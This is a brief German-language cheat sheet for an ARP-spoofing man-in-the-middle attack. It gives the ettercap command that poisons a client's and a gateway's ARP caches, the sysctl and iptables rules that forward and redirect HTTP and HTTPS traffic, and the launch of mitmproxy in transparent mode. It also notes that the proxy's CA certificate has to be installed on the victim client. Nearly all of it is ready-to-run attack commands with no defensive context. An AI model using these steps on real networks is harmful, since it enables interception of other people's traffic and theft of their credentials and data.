benötigtes Paket
- apt-get install ettercap-graphical
- CLIENT=10.0.10.55
- GATEWAY=10.0.10.1
- INTERFACE=eth0
Befehl
- ettercap -i $INTERFACE -Tq -M ARP /$CLIENT// /$GATEWAY//
optionen
-i eth0 = Interface
-T = Textmodus
-q = still
-M arp = ARP Spoofing
forwarding und nat
- sysctl -w net.ipv4.ip_forward=1
- iptables -t nat -I PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
- iptables -t nat -I PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
mitmproxy starten
- mitmproxy --mode transparent --showhost
Die Zertifikate werden beim ersten start gespeichert
- mitmproxy-ca.pem muss auf dem Client importiert werden.
ausgabe
HSTS